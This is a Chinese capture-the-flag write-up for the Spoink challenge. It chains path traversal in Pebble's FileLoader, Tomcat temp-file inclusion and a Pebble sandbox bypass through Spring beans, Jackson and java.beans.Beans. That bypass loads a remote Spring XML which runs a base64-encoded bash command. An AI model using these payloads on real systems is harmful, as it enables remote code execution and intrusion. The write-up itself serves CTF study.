写在前面

之前周末忙着强网杯，对这道题只做了一半就搁置下来了，最后卡在绕过最新pebble模板引擎RCE那里，今天抽空来继续进行剩下的分析，正好题目里有几个在现实场景当中能用的trick顺便也分享了

题目环境分析

也是挺不错题目直接给了Docker环境便于本地搭建，同时设置了权限需要执行./getflag才能获取获得flag

FROM openjdk:18-slim-bullseyeRUN mkdir /usr/src/AppWORKDIR /usr/src/app# create userRUN groupadd chalusrRUN useradd -ms /bin/bash -g chalusr chalusrCOPY spoink/target/spoink-0.0.1-SNAPSHOT-spring-boot.jar ./COPY spoink/public ./publicCOPY spoink/templates ./templatesCOPY getflag ./RUN chmod 111 ./getflagUSER chalusrCMD ["JAVA", "-jar", "/usr/src/app/spoink-0.0.1-SNAPSHOT-spring-boot.jar"]

路由只有一个，根据参数x返回指定模板，刚看到这里的时候其实有点懵，毕竟很少见到只给一个路由的代码

@Controllerpublic class HomeController {    public HomeController() {    }    @RequestMapping({"/"})    public String getTemplate(@RequestParam("x") Optional<String> template, Model model) {        return (String)template.orElse("home.pebble");    }}

不过我很快关注到了一个application.properties当中一个很有趣的点，也就是这里没有后缀，因此想到了一个目录穿越的可能

pebble.prefix = templatespebble.suffix =

正文

目录穿越

为什么我说上面那个点很有趣，其实就是第一个想分享的trick，路径穿越，简单来说pebble当中有两个loader一个是classpathloader，另一个是fileloader，优先会在classpath下尝试加载模板文件，如果寻找不到则使用fileloader尝试加载模板文件，其他调用栈不是很重要这里就不多提了

既然想实现任意文件读那第一个就别想了，我们来看第二个，它在
com.mitchellbosecke.pebble.loader.FileLoader#getFile最终加载模板文件内容

可以很明显看到这里没有做路径限制，导致我们可以进行跨目录读任意文件

结果如下

RCE攻击路径初步构建

因此我们便能成功想到一条能RCE的攻击路径

1. 上传带恶意内容的模板文件到目标服务器
2. 利用LFI读取这个模板并RCE

如何上传文件？上传了如何获取？

但是这里就遇到第一个难点，如何上传文件？这里路由当中并没有上传文件的功能点

怎么办？其实很简单，我们也知道，我们的Spring MVC框架是围绕DispatcherServlet来设计的，这个Servlet会把请求分发给各个处理器，并支持可配置的处理器映射、视图渲染、本地化、时区与主题渲染和 文件上传 等功能，好了我都圈出来重点了

在这过程当中它会检查这是否是一个表单请求

正好我们也知道spring默认使用内置的Tomcat引擎，

在处理表单的内容当中这会调用
org.Apache.catalina.connector.Request#getParts 去处理解析内容，而这在之前的文章Tomcat文件上传流量层面系列文章当中也提到过，遗忘的可以去 我的博客 考古

废话不多说，类似php的处理一样，它会先将上传的文件保存到一个临时目录再最终复制到目标文件夹，临时文件夹的获取在哪里，在
org.apache.catalina.connector.Request#parseParts

发现是通过
javax.servlet.MultipartConfigElement#getLocation 函数获取到保存到临时路径

不难看到这里是空对吧，也就是默认值(默认的话后面会存到/tmp目录下)，顺便多提一下，哪里可以设置这个location呢

在spring的启动过程当中，会根据
spring.servlet.multipart.location 的值设置这个内容，具体可以自行去参考
org.springframework.boot.autoconfigure.web.servlet.MultipartProperties

@ConfigurationProperties(    prefix = "spring.servlet.multipart",    ignoreUnknownFields = false)public class MultipartProperties {    private boolean enabled = true;    private String location;    private DataSize maxFileSize = DataSize.ofMegabytes(1L);    private DataSize maxRequestSize = DataSize.ofMegabytes(10L);    private DataSize fileSizeThreshold = DataSize.ofBytes(0L);    private boolean resolveLazily = false;    public MultipartProperties() {    }    public boolean getEnabled() {        return this.enabled;    }    public void setEnabled(boolean enabled) {        this.enabled = enabled;    }    public String getLocation() {        return this.location;    }    public void setLocation(String location) {        this.location = location;    }    public DataSize getMaxFileSize() {        return this.maxFileSize;    }    public void setMaxFileSize(DataSize maxFileSize) {        this.maxFileSize = maxFileSize;    }    public DataSize getMaxRequestSize() {        return this.maxRequestSize;    }    public void setMaxRequestSize(DataSize maxRequestSize) {        this.maxRequestSize = maxRequestSize;    }    public DataSize getFileSizeThreshold() {        return this.fileSizeThreshold;    }    public void setFileSizeThreshold(DataSize fileSizeThreshold) {        this.fileSizeThreshold = fileSizeThreshold;    }    public boolean isResolveLazily() {        return this.resolveLazily;    }    public void setResolveLazily(boolean resolveLazily) {        this.resolveLazily = resolveLazily;    }    public MultipartConfigElement createMultipartConfig() {        MultipartConfigFactory factory = new MultipartConfigFactory();        PropertyMapper map = PropertyMapper.get().alwaysApplyingWhenNonNull();        map.from(this.fileSizeThreshold).to(factory::setFileSizeThreshold);        map.from(this.location).whenHasText().to(factory::setLocation);        map.from(this.maxRequestSize).to(factory::setMaxRequestSize);        map.from(this.maxFileSize).to(factory::setMaxFileSize);        return factory.createMultipartConfig();    }}

ok回到正文，如果这为空，就会保存到默认路径，也就是
javax.servlet.context.tempdir ，实际上就是在/tmp目录下

try {  String locationStr = mce.getLocation();  File location;  if (locationStr != null && locationStr.length() != 0) {    location = new File(locationStr);    if (!location.isAbsolute()) {      location = (new File((File)context.getServletContext().getAttribute("javax.servlet.context.tempdir"), locationStr)).getAbsoluteFile();    }  } else {    location = (File)context.getServletContext().getAttribute("javax.servlet.context.tempdir");  }

这里调试可以看到将会保存在这个看着就不能爆破的文件夹下，

且不说前面这个又臭又长的文件夹，在最终生成临时文件时
org.apache.tomcat.util.http.fileupload.disk.DiskFileItem#getTempFile

还有靠UID随机生成的文件名，真的是不怕麻烦

protected File getTempFile() {  if (this.tempFile == null) {    File tempDir = this.repository;    if (tempDir == null) {      tempDir = new File(System.getProperty("java.io.tmpdir"));    }    String tempFileName = String.format("upload_%s_%s.tmp", UID, getUniqueId());    this.tempFile = new File(tempDir, tempFileName);  }  return this.tempFile;}

不过当然我们肯定是有办法的啦，别忘了有个东西叫文件描述符，这玩意儿是啥我想大家都知道，因此我们可以通过上传大文件多线程狂轰乱炸，burp都给我冲起来！不得不说狂轰乱炸法yyds！按理说上传完了以后这玩意儿就应该关闭，结果我发现我停止后，去和yzddmr6吹牛一分钟都还在。

当然其实还可以通过curl命令的--limit-rate参数来限制HTTP请求和回应的带宽，但我觉得burp狂轰乱炸更适合我.

curl --limit-rate 1k -X POST http://vps:1234 -F "<a href="https://paper.seebug.org/cdn-cgi/l/emAIl-protection" data-cfemail="a0c6c9ccc59de0">[email protected]</a>/tmp/1.txt"

之后就是如何实现模板注入实现RCE了

利用现有环境Bypass最新版Pebble模板引擎限制

网上随便抄了一个看起来最新的

{% set cmd = 'id' %}{% set bytes = (1).TYPE     .forName('java.lang.Runtime')     .methods[6]     .invoke(null,null)     .exec(cmd)     .inputStream     .readAllBytes() %}{{ (1).TYPE     .forName('java.lang.String')     .constructors[0]     .newInstance(([bytes]).toArray()) }}

结果命令行大大的问号？然后想到了这是最新版修复了之前的问题

根据报错内容的显示，接下来我们看看具体做的哪些限制，可以看到够恶心的不能是下面这么多类的实例？？？并且能调用FORBIDDEN_METHODS 当中的方法，特别是判断是否为Class实例将我们反射的路给断掉了(在这个模板语法当中只能通过xx.class.forName去获取其他对象) ，剩下代码也很简单就不带着读了

public class BlacklistMethodAccessValidator implements MethodAccessValidator {    private static final String[] FORBIDDEN_METHODS = new String[]{"getClass", "wait", "notify", "notifyAll"};    public BlacklistMethodAccessValidator() {    }    public boolean isMethodAccessAllowed(Object object, Method method) {        boolean methodForbidden = object instanceof Class || object instanceof Runtime || object instanceof Thread || object instanceof ThreadGroup || object instanceof System || object instanceof AccessibleObject || this.isUnsafeMethod(method);        return !methodForbidden;    }    private boolean isUnsafeMethod(Method member) {        return this.isAnyOfMethods(member, FORBIDDEN_METHODS);    }    private boolean isAnyOfMethods(Method member, String... methods) {        String[] var3 = methods;        int var4 = methods.length;        for(int var5 = 0; var5 < var4; ++var5) {            String method = var3[var5];            if (this.isMethodWithName(member, method)) {                return true;            }        }        return false;    }    private boolean isMethodWithName(Method member, String method) {        return member.getName().equals(method);    }}

如何绕过限制加载任意Class对象

我们也知道Spring 应用程序的许多实例都隐式注册为bean，因此我们能不能从bean当中找到一个对象而这个对象当中保存了classloader对象，通过获取到它我们就能通过执行loadClass加载到任意对象

既然如此，第一反应其实就是想到去上下文中看看有没有这些bean对象，而pebble在初始化上下文时是在
com.mitchellbosecke.pebble.template.PebbleTemplateImpl#evaluate(java.io.Writer, java.util.Map<java.lang.String,java.lang.Object>, java.util.Locale) 当中

可以看到这个map当中存了beans对象，而这个beans对象当中存的是那些bean对象，一方面我们可以直接遍历输出到控制台

另一方面我们也可以直接在代码当中看一眼，反正不费事往上看看，可以看到是在
com.mitchellbosecke.pebble.spring.servlet.PebbleView#addVariablesToModel

当中，获取了spring的应用程序上下文并添加到beans属性当中

private void addVariablesToModel(Map<String, Object> model, HttpServletRequest request, HttpServletResponse response) {  model.put("beans", new Beans(this.getApplicationContext()));  model.put("request", request);  model.put("response", response);  model.put("session", request.getSession(false));}

因此我们可以通过表达式获取到这个上下文当中注册的bean，去尝试寻找一些其他的属性来绕过限制，

因此为了方便遍历bean当中的类，我们在原路由前加上获取上下文的部分代码

@RequestMapping({"/"})public String getTemplate(@RequestParam("x") Optional<String> template, Model model) {  ServletContext sss = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest().getSession().getServletContext();  org.springframework.web.context.WebApplicationContext context  = org.springframework.web.context.support.WebApplicationContextUtils.getWebApplicationContext(sss);  String[] beanDefinitionNames = context.getBeanDefinitionNames();  for (String o:beanDefinitionNames) {    System.out.println(o.toString());  }  return (String)template.orElse("home.pebble");}

重新启动项目并访问可以得到控制台输出

//输出org.springframework.context.annotation.internalConfigurationAnnotationProcessororg.springframework.context.annotation.internalAutowiredAnnotationProcessororg.springframework.context.annotation.internalCommonAnnotationProcessororg.springframework.context.event.internalEventListenerProcessororg.springframework.context.event.internalEventListenerFactoryspoinkApplicationorg.springframework.boot.autoconfigure.internalCachingMetadataReaderFactoryhomeControllerpebbleLoaderorg.springframework.boot.autoconfigure.AutoConfigurationPackagesorg.springframework.boot.autoconfigure.context.PropertyPlaceholderAutoConfigurationpropertySourcesPlaceholderConfigurerorg.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration$TomcatWebSocketConfigurationwebsocketServletWebServerCustomizerorg.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfigurationorg.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryConfiguration$EmbeddedTomcattomcatServletWebServerFactoryorg.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryAutoConfigurationservletWebServerFactoryCustomizertomcatServletWebServerFactoryCustomizerorg.springframework.boot.context.properties.ConfigurationPropertiesBindingPostProcessororg.springframework.boot.context.internalConfigurationPropertiesBinderFactoryorg.springframework.boot.context.internalConfigurationPropertiesBinderorg.springframework.boot.context.properties.BoundConfigurationPropertiesorg.springframework.boot.context.properties.EnableConfigurationPropertiesRegistrar.methodValidationExcludeFilterserver-org.springframework.boot.autoconfigure.web.ServerPropertieswebServerFactoryCustomizerBeanPostProcessorerrorPageRegistrarBeanPostProcessororg.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletConfigurationdispatcherServletspring.mvc-org.springframework.boot.autoconfigure.web.servlet.WebMvcPropertiesorg.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletRegistrationConfigurationdispatcherServletRegistrationorg.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfigurationorg.springframework.boot.autoconfigure.task.TaskExecutionAutoConfigurationtaskExecutorBuilderapplicationTaskExecutorspring.task.execution-org.springframework.boot.autoconfigure.task.TaskExecutionPropertiesorg.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$WhitelabelErrorViewConfigurationerrorbeanNameViewResolverorg.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$DefaultErrorViewResolverConfigurationconventionErrorViewResolverspring.web-org.springframework.boot.autoconfigure.web.WebPropertiesorg.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfigurationerrorAttributesbasicErrorControllererrorPageCustomizerpreserveErrorControllerTargetClassPostProcessororg.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$EnableWebMvcConfigurationrequestMappingHandlerAdapterrequestMappingHandlerMappingwelcomePageHandlerMappinglocaleResolverthemeResolverflashMapManagermvcConversionServicemvcValidatormvcContentNegotiationManagermvcPatternParsermvcUrlPathHelpermvcPathMatcherviewControllerHandlerMappingbeanNameHandlerMappingrouterFunctionMappingresourceHandlerMappingmvcResourceUrlProviderdefaultServletHandlerMappinghandlerFunctionAdaptermvcUriComponentsContributorhttpRequestHandlerAdaptersimpleControllerHandlerAdapterhandlerExceptionResolvermvcViewResolvermvcHandlerMappingIntrospectorviewNameTranslatororg.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$WebMvcAutoConfigurationAdapterdefaultViewResolverviewResolverrequestContextFilterorg.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfigurationformContentFiltercom.mitchellbosecke.pebble.boot.autoconfigure.PebbleServletWebConfigurationpebbleViewResolvercom.mitchellbosecke.pebble.boot.autoconfigure.PebbleAutoConfigurationspringExtensionpebbleEnginepebble-com.mitchellbosecke.pebble.boot.autoconfigure.PebblePropertiesorg.springframework.boot.autoconfigure.jmx.JmxAutoConfigurationmbeanExporterobjectNamingStrategymbeanServerorg.springframework.boot.autoconfigure.admin.SpringApplicationAdminJmxAutoConfigurationspringApplicationAdminRegistrarorg.springframework.boot.autoconfigure.aop.AopAutoConfiguration$ClassProxyingConfigurationforceAutoProxyCreatorToUseClassProxyingorg.springframework.boot.autoconfigure.aop.AopAutoConfigurationorg.springframework.boot.autoconfigure.availability.ApplicationAvailabilityAutoConfigurationapplicationAvailabilityorg.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfigurationstandardJacksonObjectMapperBuilderCustomizerspring.jackson-org.springframework.boot.autoconfigure.jackson.JacksonPropertiesorg.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperBuilderConfigurationjacksonObjectMapperBuilderorg.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$ParameterNamesModuleConfigurationparameterNamesModuleorg.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperConfigurationjacksonObjectMapperorg.springframework.boot.autoconfigure.jackson.JacksonAutoConfigurationjsonComponentModuleorg.springframework.boot.autoconfigure.context.ConfigurationPropertiesAutoConfigurationorg.springframework.boot.autoconfigure.context.LifecycleAutoConfigurationlifecycleProcessorspring.lifecycle-org.springframework.boot.autoconfigure.context.LifecyclePropertiesorg.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration$StringHttpMessageConverterConfigurationstringHttpMessageConverterorg.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration$MappingJackson2HttpMessageConverterConfigurationmappingJackson2HttpMessageConverterorg.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfigurationorg.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfigurationmessageConvertersorg.springframework.boot.autoconfigure.info.ProjectInfoAutoConfigurationspring.info-org.springframework.boot.autoconfigure.info.ProjectInfoPropertiesorg.springframework.boot.autoconfigure.sql.init.SqlInitializationAutoConfigurationspring.sql.init-org.springframework.boot.autoconfigure.sql.init.SqlInitializationPropertiesorg.springframework.boot.sql.init.dependency.DatabaseInitializationDependencyConfigurer$DependsOnDatabaseInitializationPostProcessororg.springframework.boot.autoconfigure.task.TaskSchedulingAutoConfigurationscheduledBeanLazyInitializationExcludeFiltertaskSchedulerBuilderspring.task.scheduling-org.springframework.boot.autoconfigure.task.TaskSchedulingPropertiesorg.springframework.boot.autoconfigure.web.client.RestTemplateAutoConfigurationrestTemplateBuilderConfigurerrestTemplateBuilderorg.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration$TomcatWebServerFactoryCustomizerConfigurationtomcatWebServerFactoryCustomizerorg.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfigurationorg.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfigurationcharacterEncodingFilterlocaleCharsetMappingsCustomizerorg.springframework.boot.autoconfigure.web.servlet.MultipartAutoConfigurationmultipartConfigElementmultipartResolverspring.servlet.multipart-org.springframework.boot.autoconfigure.web.servlet.MultipartPropertiesorg.springframework.aop.config.internalAutoProxyCreator

之后也算运气好，测了前几个就发现通过取得
internalCachingMetadataReaderFactory对象可以拿到classLoader

因此有了这个我们便可以加载任意类了

{% set class1= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("xxxx") %}

但是我们需要获得一个类实例，但是我们不能去调用它的任何方法毕竟是class类，很好的一点是这里有jackson??，beans对象里也能直接获取到，解决一切问题

{% set woshishuaibi =  beans.get("jacksonObjectMapper").readValue("{}", class1) %}

因此我们能获得一个类的实例以后rce就相对“简单”了??，比如说

ScriptEngineManager engineManager = new ScriptEngineManager();ScriptEngine engine = engineManager.getEngineByName("js");engine.eval("xxxx");

但题目当中环境是jdk18，发现
engineManager.getEngineByName里面裤子都不剩了啥都没有，看来这个方法也是没用的，同时由于jackson实例化限制我们也不能直接实例化jshell

此时灵机一动我又想到两个类，它们实例化加载配置文件可以造成rce

• org.springframework.context.support.ClassPathXmlApplicationContext
• org.springframework.context.support.FileSystemXmlApplicationContext

但是脸黑啊，环境里面jackson有限制，继承了
AbstractPointcutAdvisor/AbstractApplicationContext这两个类的都不行，心里xxx

这时候怎么办呢？那classpath下有没有某个类可以帮助我们实例化任意对象呢？

另类绕过Jackson黑名单限制

当然有哒！也就是java.beans.Beans类，这个类可以帮助我们实例化任意方法

public static Object instantiate(ClassLoader cls, String beanName) throws IOException, ClassNotFoundException {  return Beans.instantiate(cls, beanName, null, null);}

这里的参数cls可以不传，为null则会默认调用
ClassLoader.getSystemClassLoader();获取一个classloader

public static Object instantiate(ClassLoader cls, String beanName,                                 BeanContext beanContext,                                 AppletInitializer initializer)  throws IOException, ClassNotFoundException {  InputStream ins;  ObjectInputStream oins = null;  Object result = null;  boolean serialized = false;  IOException serex = null;  // If the given classloader is null, we check if an  // system classloader is available and (if so)  // use that instead.  // Note that calls on the system class loader will  // look in the bootstrap class loader first.  if (cls == null) {    try {      cls = ClassLoader.getSystemClassLoader();    } catch (SecurityException ex) {      // We're not allowed to access the system class loader.      // Drop through.    }  }

之后的逻辑我们不需要关注那个二次反序列化的部分,在后面可以看到可以实例化任意public修饰的构造方法

if (result == null) {  // No serialized object, try just instantiating the class  Class<?> cl;  try {    cl = ClassFinder.findClass(beanName, cls);  } catch (ClassNotFoundException ex) {    // There is no appropriate class.  If we earlier tried to    // deserialize an object and got an IO exception, throw that,    // otherwise rethrow the ClassNotFoundException.    if (serex != null) {      throw serex;    }    throw ex;  }  if (!Modifier.isPublic(cl.getModifiers())) {    throw new ClassNotFoundException("" + cl + " : no public access");  }  /*             * Try to instantiate the class.             */  try {    result = cl.newInstance();  } catch (Exception ex) {    // We have to remap the exception to one in our signature.    // But we pass extra information in the detail message.    throw new ClassNotFoundException("" + cl + " : " + ex, ex);  }}

最终构造实现RCE

最终模板文件构造

{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}{% set yy =  beans.get("jacksonObjectMapper").readValue("{}", y) %}{% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlApplicationContext") %}{{ yyy.setConfigLocation("http://xxxx/1.xml") }}{{ yyy.refresh() }}

1.xml

<?xml version="1.0" encoding="UTF-8" ?>    <beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xsi:schemaLocation="     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">            <constructor-arg >            <list>                <value>open</value>                <value>-a</value>                <value>calculator</value>            </list>            </constructor-arg>        </bean>    </beans>

本地弹出了计算器，那么现在则可以开始着手解题了，

构造命令 ./getflag > /tmp/flag

<?xml version="1.0" encoding="UTF-8" ?>    <beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xsi:schemaLocation="     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">            <constructor-arg >            <list>                <value>bash</value>                <value>-c</value>                <value>echo Li9nZXRmbGFnID4gL3RtcC9mbGFn|base64 -d|bash -i</value>            </list>            </constructor-arg>        </bean>    </beans>

先用burp狂轰乱炸，看到页面有回显的说明执行成功

再包含进来就ok了

原文链接：
https://f5.pm/go-121363.html